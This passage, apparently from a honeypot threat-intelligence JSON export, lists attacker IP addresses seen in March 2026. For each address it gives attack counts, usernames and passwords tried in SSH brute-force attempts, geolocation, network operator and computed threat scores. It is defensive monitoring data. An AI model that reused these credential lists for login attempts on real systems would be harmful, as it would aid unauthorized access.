      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "38.188.160.85": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:07:12.972Z",
      "last_seen": "2026-03-11T00:31:17.434Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "280184",
        "aaaaaaaaa",
        "azerty456",
        "clochette1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:07:12.972000+00:00",
        "last_seen_30d": "2026-03-11T00:32:23.416000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "156.229.16.142": {
      "attack_count": 22,
      "first_seen": "2026-03-25T15:55:34.338Z",
      "last_seen": "2026-03-25T15:58:04.328Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 63.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T06:10:39.224000+00:00",
        "last_seen_30d": "2026-03-29T19:17:14.674000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 26,
        "Cowrie": 22
      }
    },
    "46.101.107.202": {
      "attack_count": 21,
      "first_seen": "2026-03-31T11:57:25.572Z",
      "last_seen": "2026-03-31T12:00:45.278Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T11:57:25.572000+00:00",
        "last_seen_30d": "2026-03-31T12:01:54.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "64.227.77.11": {
      "attack_count": 17,
      "first_seen": "2026-03-02T13:16:50.828Z",
      "last_seen": "2026-03-02T13:23:18.189Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:14:07.259000+00:00",
        "last_seen_30d": "2026-03-02T13:24:24.269000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "81.5.191.228": {
      "attack_count": 16,
      "first_seen": "2026-03-24T05:47:23.505Z",
      "last_seen": "2026-03-24T05:50:30.063Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Poplar",
      "asn": 48266,
      "as_org": "Catixs Ltd",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:47:23.505000+00:00",
        "last_seen_30d": "2026-03-24T05:51:37.140000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 14
      }
    },
    "38.188.160.160": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:13:14.871Z",
      "last_seen": "2026-03-11T00:29:11.375Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "151182",
        "bembem1",
        "rosales"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:14.871000+00:00",
        "last_seen_30d": "2026-03-11T00:30:19.008000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "134.122.155.131": {
      "attack_count": 14,
      "first_seen": "2026-03-31T07:29:50.667Z",
      "last_seen": "2026-03-31T07:32:00.957Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:29:50.667000+00:00",
        "last_seen_30d": "2026-03-31T07:33:01.710000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 6
      }
    },
    "192.253.248.42": {
      "attack_count": 10,
      "first_seen": "2026-03-06T02:55:56.208Z",
      "last_seen": "2026-03-06T04:12:53.780Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "2026!Kelltech",
        "Kelltech2025@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:25:48.235000+00:00",
        "last_seen_30d": "2026-03-06T04:13:54.194000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "35.241.178.95": {
      "attack_count": 10,
      "first_seen": "2026-03-06T11:59:28.220Z",
      "last_seen": "2026-03-06T11:59:32.538Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:59:28.220000+00:00",
        "last_seen_30d": "2026-03-06T12:00:40.896000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "61.215.151.161": {
      "attack_count": 10,
      "first_seen": "2026-03-15T05:52:21.977Z",
      "last_seen": "2026-03-15T05:52:24.652Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nakano City",
      "asn": 9378,
      "as_org": "JCOM Co., Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:52:21.977000+00:00",
        "last_seen_30d": "2026-03-15T05:53:34.700000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "71.90.30.53": {
      "attack_count": 10,
      "first_seen": "2026-03-14T13:55:16.117Z",
      "last_seen": "2026-03-19T21:42:00.203Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Watertown",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T16:51:57.597000+00:00",
        "last_seen_30d": "2026-03-31T05:08:39.572000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 10
      }
    },
    "192.42.116.13": {
      "attack_count": 8,
      "first_seen": "2026-03-23T20:33:36.101Z",
      "last_seen": "2026-03-23T20:33:59.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:27:54+00:00",
        "last_seen_30d": "2026-03-23T20:35:06.781000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "H0neytr4p": 2
      }
    },
    "211.200.98.61": {
      "attack_count": 8,
      "first_seen": "2026-03-23T00:07:22.059Z",
      "last_seen": "2026-03-23T00:07:25.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "<Any pass>",
        "Qazwsxedc123",
        "smart@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T00:07:22.059000+00:00",
        "last_seen_30d": "2026-03-23T00:08:33.681000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 3
      }
    },
    "45.84.107.174": {
      "attack_count": 8,
      "first_seen": "2026-03-08T21:15:20.328Z",
      "last_seen": "2026-03-08T21:15:40.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:28:08+00:00",
        "last_seen_30d": "2026-03-26T16:09:49.450000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 23,
        "H0neytr4p": 14,
        "Ciscoasa": 10,
        "Cowrie": 6
      }
    },
    "14.103.114.221": {
      "attack_count": 7,
      "first_seen": "2026-03-19T14:21:10.143Z",
      "last_seen": "2026-03-19T14:23:12.708Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T14:21:10.143000+00:00",
        "last_seen_30d": "2026-03-19T14:34:11.297000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "74.114.116.98": {
      "attack_count": 7,
      "first_seen": "2026-03-15T02:33:38.615Z",
      "last_seen": "2026-03-15T02:38:42.096Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": "Copenhagen",
      "asn": 209043,
      "as_org": "IPRoyal Services FZE LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:33:38.615000+00:00",
        "last_seen_30d": "2026-03-15T02:39:47.245000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "206.168.34.32": {
      "attack_count": 6,
      "first_seen": "2026-03-08T07:39:11.048Z",
      "last_seen": "2026-03-08T07:40:11.836Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 20,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T19:03:29+00:00",
        "last_seen_30d": "2026-03-22T21:47:27.134000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 38,
        "Cowrie": 6,
        "Dionaea": 5,
        "Ipphoney": 1
      }
    },
    "206.168.34.37": {
      "attack_count": 6,
      "first_seen": "2026-03-03T12:44:13.090Z",
      "last_seen": "2026-03-03T12:45:02.792Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.8,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 22,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:55:21+00:00",
        "last_seen_30d": "2026-03-23T20:07:06.579000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 38,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "37.120.213.13": {
      "attack_count": 6,
      "first_seen": "2026-03-08T12:59:13.352Z",
      "last_seen": "2026-03-21T12:16:09.711Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:27:23.339000+00:00",
        "last_seen_30d": "2026-03-29T23:10:47.607000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6
      }
    },
    "66.132.224.237": {
      "attack_count": 6,
      "first_seen": "2026-03-25T02:35:52.228Z",
      "last_seen": "2026-03-25T02:36:28.579Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-25T02:35:52.228000+00:00",
        "last_seen_30d": "2026-03-31T17:55:04.029000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6,
        "Honeytrap": 4,
        "Sentrypeer": 1
      }
    },
    "172.94.9.61": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:54:25.934Z",
      "last_seen": "2026-03-05T22:54:28.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2025Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:00:55.065000+00:00",
        "last_seen_30d": "2026-03-05T22:55:38.580000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "45.84.107.74": {
      "attack_count": 5,
      "first_seen": "2026-03-13T21:03:39.570Z",
      "last_seen": "2026-03-13T21:03:44.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "systems"
      ],
      "passwords_attempted": [
        "vivo@01011"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 76.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:28:17+00:00",
        "last_seen_30d": "2026-03-28T17:22:20.792000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Ciscoasa": 21,
        "Honeytrap": 15,
        "H0neytr4p": 11,
        "Cowrie": 5
      }
    },
    "77.90.185.250": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:39:59.324Z",
      "last_seen": "2026-03-06T01:40:02.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:53:39.303000+00:00",
        "last_seen_30d": "2026-03-06T01:41:11.609000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "78.128.112.74": {
      "attack_count": 5,
      "first_seen": "2026-03-03T17:36:39.591Z",
      "last_seen": "2026-03-03T17:36:43.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 208637,
      "as_org": "4 Vendeta Ltd",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:36:39.591000+00:00",
        "last_seen_30d": "2026-03-03T17:37:49.451000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.152.52.120": {
      "attack_count": 4,
      "first_seen": "2026-03-09T06:56:23.272Z",
      "last_seen": "2026-03-09T06:56:23.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:29:39.080000+00:00",
